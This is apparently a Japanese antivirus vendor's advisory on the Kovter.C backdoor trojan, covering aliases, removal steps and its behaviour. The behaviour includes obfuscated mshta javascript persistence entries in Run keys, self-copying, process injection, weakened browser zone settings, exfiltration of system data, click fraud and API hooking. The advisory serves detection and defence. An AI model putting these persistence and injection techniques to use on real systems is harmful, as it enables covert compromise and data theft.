Win32/Kovter.C
公開日：2015年11月25日
危険度：1
| 定義名称 | Win32/Kovter.C |
|---|---|
| シグネチャ検査による結果だった場合 | Win32/Kovter.C |
| 別名 | Trojan.Win32.Kovter.kj（Kaspersky）、 Trojan.MulDrop6.7552（Dr.Web）、TR/Kovter.311854（Avira） |
| 種別 | トロイの木馬 |
| アドバンスドヒューリスティック検査による結果だった場合 | このオリジナルのトロイを利用した新種、亜種が検出された場合は、「NewHeur_PE」もしくは「Win32/Kovter.Cの亜種 トロイの木馬」という名称で警告が出ます。 |
| 対応時期 | バージョン11674（20150523）以降 |
| 影響を受けるプラットフォーム | Microsoft Windows |
| 概要 | これは、リモートからコントロール可能なバックドア型のトロイの木馬です。詳しい活動内容については、下記をご参照ください。 |
検出した場合の対処方法
常駐監視を行っている各検査プログラムによって検出された場合は、駆除もしくは削除を行ってください。駆除もしくは削除ができない場合は、Windows のシステムの復元により修復しなければならない可能性があります。
対象のファイルが身に覚えのないファイル名の場合は、そのファイル自身がウイルスそのものである可能性が高いので、駆除ではなくすべて削除をしてください。これにより2次感染、3次感染を防げます。また、自分が作成したデータ等に感染していた場合は、駆除が可能な場合もありますが、駆除のボタンが押せない状態もしくは駆除しても失敗する場合は、すでに元のデータの戻せない状態までデータが書き換えられている場合もあります。この場合もすべて削除してください。
解説での表記(用語)について
以下の説明文では、環境変数を利用して各ファイルやディレクトリへのパスを表記しています。
例:
%windir% : Windowsオペレーティングシステムがインストールされたディレクトリのパス(インストール時の設定により異なる場合があります)。
%system% : %windir% のサブディレクトリである"System"や"System32"のパス。
%malwarefilepath% : マルウェアプログラムまでのパス。
%malwarefilename% : マルウェアプログラムまでのファイル名。
その他に関しては、以下のページも参考にしてください。
Microsoft Malware Protection Center - Malware help
Common Folder variables
解説
侵入(インストレーション)について
このトロイの木馬は、次のレジストリーエントリーを設定します。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"0x9a352a44" = "mshta javascript:Wwc4UYPy="q3bAi0T";p3a=new%20ActiveXObject("WScript.Shell");Y5VbU4ym="6fGo";Vuy24U=p3a.RegRead("HKLM\\software\\%variable1%\\%variable2%");yj2AV2YXX="4iWRAuYOY";eval(Vuy24U);QIb3FlghU="tU6";"
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"0x9a352a44" = "mshta javascript:Wwc4UYPy="q3bAi0T";p3a=new%20ActiveXObject("WScript.Shell");Y5VbU4ym="6fGo";Vuy24U=p3a.RegRead("HKCU\\software\\%variable1%\\%variable2%");yj2AV2YXX="4iWRAuYOY";eval(Vuy24U);QIb3FlghU="tU6";"
[HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
"0x9a352a44" = "mshta javascript:Wwc4UYPy="q3bAi0T";p3a=new%20ActiveXObject("WScript.Shell");Y5VbU4ym="6fGo";Vuy24U=p3a.RegRead("HKLM\\software\\%variable1%\\%variable2%");yj2AV2YXX="4iWRAuYOY";eval(Vuy24U);QIb3FlghU="tU6";"
[HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
"0x9a352a44" = "mshta javascript:Wwc4UYPy="q3bAi0T";p3a=new%20ActiveXObject("WScript.Shell");Y5VbU4ym="6fGo";Vuy24U=p3a.RegRead("HKCU\\software\\%variable1%\\%variable2%");yj2AV2YXX="4iWRAuYOY";eval(Vuy24U);QIb3FlghU="tU6";"
[HKEY_LOCAL_MACHINE\SOFTWARE\%variable1%]
"%variable2%" = "%javascriptpayload%"
"%variable3%" = "%malwarepayload%"
[HKEY_CURRENT_USER\SOFTWARE\%variable1%]
"%variable2%" = "%javascriptpayload%"
"%variable3%" = "%malwarepayload%"
これにより、システムが起動するたびに実行されるようになります。
次のファイル名を使用して自身のコピーを作成する場合があります。
%localappdata%\%variable4%\%variable4%.exe
%appdata%\%variable4%\%variable4%.exe
%windows%\%variable4%\%variable4%.exe
%commonappdata%\Microsoft\%variable4%\%variable4%.exe
%variable1-4%には可変の文字列が入ります。
次のレジストリーエントリーを設定する場合があります。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"0x9a352a44" = "%malwareinstallpath%"
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"0x9a352a44" = "%malwareinstallpath%"
[HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
"0x9a352a44" = "%malwareinstallpath%"
[HKEY_CURRENT_USER\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]
"x9a352a44" = "%malwareinstallpath%"
これにより、システムが起動するたびに実行されるようになります。
インストール終了後、元の実行ファイルを削除します。
次のプロセスを起動します。
regsvr32.exe
%windir%\System32\regsvr32.exe
rundll32.exe
%windir%\System32\rundll32.exe
explorer.exe
%windir%\explorer.exe
%malwarefilepath%
これらの実行中のプロセスに自身のコードを挿入して新たなスレッドを作成、実行します。
次のレジストリーエントリーを設定します。
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1206" = 0
"1809" = 3
"2300" = 0
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1206" = 0
"1809" = 3
"2300" = 0
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION]
"%malwarefilename%" = 8888
"iexplore.exe" = 8888
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION]
"%malwarefilename%" = 8888
"iexplore.exe" = 8888
■情報の取得
このトロイの木馬は、次の情報を収集します。
マルウェアのバージョン
OSのバージョン
OSとシステム設定に関する情報
言語設定
インストール済みのアンチウイルスソフトウェア
インストール済みのファイアウォールアプリケーション
メモリのステータス
CPUの情報
実行中のプロセスの一覧
コンピューター名
ユーザー名
収集した情報をリモートのコンピューターに送信しようとします。
■その他の情報
このトロイの木馬は、リモートのコンピューターもしくはインターネットからデータや命令を受け取ります。
173のURLを保持しています。通信にはHTTPプロトコルが使用されます。
次を実行します。
リモートのコンピューターもしくはインターネットからファイルをダウンロードする
実行ファイルを実行する
収集した情報を送信する
レジストリーエントリーを登録する
一定期間、自身を停止する
サイトのアクセスカウンターを増加させるために、バナー広告をクリックするようなHTTPリクエストを送信します。
次のレジストリーキーにあるさまざまな情報を保持します。
[HKEY_LOCAL_MACHINE\SOFTWARE\%variable%]
[HKEY_CURRENT_USER\SOFTWARE\%variable%]
%variable%には可変の文字列が入ります。
次のWindows APIをフックして、入力データやメッセージを横取りします。
CreateProcessAsUserA (advapi32.dll)
CreateProcessAsUserW (advapi32.dll)
CreateProcessWithLogonA (advapi32.dll)
CreateProcessWithLogonW (advapi32.dll)
CreateProcessWithTokenA (advapi32.dll)
CreateProcessWithTokenW (advapi32.dll)
RegSetValueA (advapi32.dll)
RegSetValueExA (advapi32.dll)
RegSetValueExW (advapi32.dll)
RegSetValueW (advapi32.dll)
DirectSoundCreate (dsound.dll)
DirectSoundCreate8 (dsound.dll)
RectVisible (gdi32.dll)
CreateProcessA (kernel32.dll)
CreateProcessW (kernel32.dll)
OpenProcess (kernel32.dll)
WinExec (kernel32.dll)
NtOpenProcess (ntdll.dll)
NtResumeThread (ntdll.dll)
NtCreateProcess (ntdll.dll)
NtCreateProcessEx (ntdll.dll)
NtSetValueKey (ntdll.dll)
CoCreateInstance (ole32.dll)
CoCreateInstanceEx (ole32.dll)
CoGetClassObject (ole32.dll)
SHGetFolderPathW (shell32.dll)
SHGetKnownFolderPath (shell32.dll)
ShellExecuteA (shell32.dll)
ShellExecuteExA (shell32.dll)
ShellExecuteExW (shell32.dll)
ShellExecuteW (shell32.dll)
DialogBoxIndirectParamA (user32.dll)
DialogBoxIndirectParamW (user32.dll)
DialogBoxParamW (user32.dll)
GetFocus (user32.dll)
GetForegroundWindow (user32.dll)
MessageBoxA (user32.dll)
MessageBoxExA (user32.dll)
MessageBoxExW (user32.dll)
MessageBoxIndirectA (user32.dll)
MessageBoxIndirectW (user32.dll)
MessageBoxW (user32.dll)
PostMessageA (user32.dll)
SetWindowsHookExA (user32.dll)
SetWindowsHookExW (user32.dll)
WindowFromPoint (user32.dll)
waveOutWrite (winmm.dll)
HttpOpenRequestA (wininet.dll)
HttpOpenRequestW (wininet.dll)
InternetConnectA (wininet.dll)
InternetConnectW (wininet.dll)
InternetReadFile (wininet.dll)
getaddrinfo (ws2_32.dll)
GetAddrInfoExA (wsock32.dll)
GetAddrInfoExW (wsock32.dll)
GetAddrInfoW (wsock32.dll)